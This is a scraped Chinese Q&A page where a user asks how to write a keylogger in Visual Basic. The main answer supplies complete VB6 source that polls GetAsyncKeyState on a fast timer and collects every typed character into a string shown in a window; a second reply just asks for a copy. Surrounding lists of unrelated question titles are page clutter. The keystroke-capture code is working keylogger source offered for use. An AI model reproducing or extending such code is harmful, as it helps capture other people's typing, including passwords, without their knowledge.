问答文章1 问答文章501 问答文章1001 问答文章1501 问答文章2001 问答文章2501 问答文章3001 问答文章3501 问答文章4001 问答文章4501 问答文章5001 问答文章5501 问答文章6001 问答文章6501 问答文章7001 问答文章7501 问答文章8001 问答文章8501 问答文章9001 问答文章9501

如何用VB编写键盘记录器?是不是很简单的一个程序。?

发布网友 发布时间:2024-02-13 14:56

我来回答

2个回答

热心网友 时间:2024-03-10 03:44

'------------Mole1.bas---------
Public Const DT_CENTER = &H1
Public Const DT_WORDBREAK = &H10
Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type
Declare Function DrawTextEx Lib "user32" Alias "DrawTextExA" (ByVal hDC As Long, ByVal lpsz As String, ByVal n As Long, lpRect As RECT, ByVal un As Long, ByVal lpDrawTextParams As Any) As Long
Declare Function SetTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long
Declare Function KillTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long
Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Declare Function SetRect Lib "user32" (lpRect As RECT, ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long
Global Cnt&, sSave$, sOld$, Ret$, Tel&

Function GetPressedKey() As String
For Cnt = 32 To 128
If GetAsyncKeyState(Cnt) <> 0 Then
GetPressedKey = Chr$(Cnt)
Exit For
End If
Next Cnt
End Function

Sub TimerProc(ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long)
Ret = GetPressedKey
If Ret <> sOld Then
sOld = Ret
sSave = sSave + sOld
End If
End Sub
'-------------------------

'---------------form1-------------
Private Sub Form_Load()
Me.Caption = "键盘监视器"
SetTimer Me.hwnd, 0, 1, AddressOf TimerProc
timer1.Interval = 10
End Sub

Private Sub Form_Unload(Cancel As Integer)
KillTimer Me.hwnd, 0
End Sub

Private Sub Timer1_Timer()
Text1.Text = sSave
End Sub

参考资料:http://hi.baidu.com/ivu179/blog/item/52d2877b3ad963f30bd18744.html

热心网友 时间:2024-03-10 03:45

我也要一个哈
声明声明:本网页内容为用户发布,旨在传播知识,不代表本网认同其观点,若有侵权等问题请及时与本网联系,我们将在第一时间删除处理。E-MAIL:11247931@qq.com
梦见和同性发生关糸了 梦见和同性朋友发生亲密关系 学生党如何科学护肤? 学生党该怎么基础护肤? 有什么美容护肤的技巧适合学生党? 怎么@全部成员啊? 新洲摩尔城一楼小吃租金多少 武汉王家湾有哪些广场 你好 请问 晚上6点开始 学瑜伽 可以吗? 因为我想在下班时间去 锻炼锻 ... 电脑联网有哪些条件台式电脑无线上网需要具备哪些条件 风龙废墟怎么进 一年内怎么改第二次 五月份定的车.八月提的车但车辆购置税从六月l号开始减半请问现在... 大学生找工作注意哪些问题 高端入户门靠前的牌子是哪些? 12层的商品房除了塔吊,施工升降机也要安装吗? 福田祥菱m2冬天油冻了,怎么启动 两个怎么互换绑定手机号 未来的房子会不会去掉中介? 我的抖音好友都消失了怎么办? 如何一年内强制二次修改? 加工一批零件,刘叔叔前3小时加工了135个零件。照这样的速度,刘叔叔加工... 如何强制二次修改 一年内第二次强制修改 ...太烦,打呼噜声都听得清清楚楚。请问:有什么好法子可以隔音?_百度... 一个手机号,注册了两个,如果把新注销掉,旧会回来吗... 10把两盒长7厘米宽4厘米高10厘米的牛奶盒拼在一起,有几 种拼法? 一年没满 想更改怎么更改? 怎样注册新的 具体操作步骤 nuke需要编程吗 ev3编程,我想在原有的编程基础上加入一个声控前进的程序,可以么?怎... autoCAD2008无法安装,系统策略禁止,高手来帮忙! 一年内怎么修改第二次 仙人掌是草本植物还是木本植物?,仙人掌是草本植物吗? 如何去除脸上色斑,美姿尔结束自卑生活?求大神帮助 诸事顺遂下一句接什么好 彩钢板屋面封沿板是另算定额吗 想买款数码相机,价格1000-2000左右,请推荐,谢谢! 怎么把手机上的歌词打印出来? 第4题WCDMA网络的USM卡采用的是哪种登网鉴权方式?AES128算法3DES算法A3... 2018怎么第二次修改 怎么在一年内修改两次 首先然后接着还可以连什么词 排五16401历史上出过吗? 鸡蛋果是但单叶还是复叶? 电视剧《错爱一生》中整形医生把顾忆罗脸上的疤 面试电话打来可以约其他时间面试吗 10h鱼竿是不是太硬了 适合钓什么鱼 以盲拍方式进行水下摄影时,最好使用()。 如何一年内强制二次修改?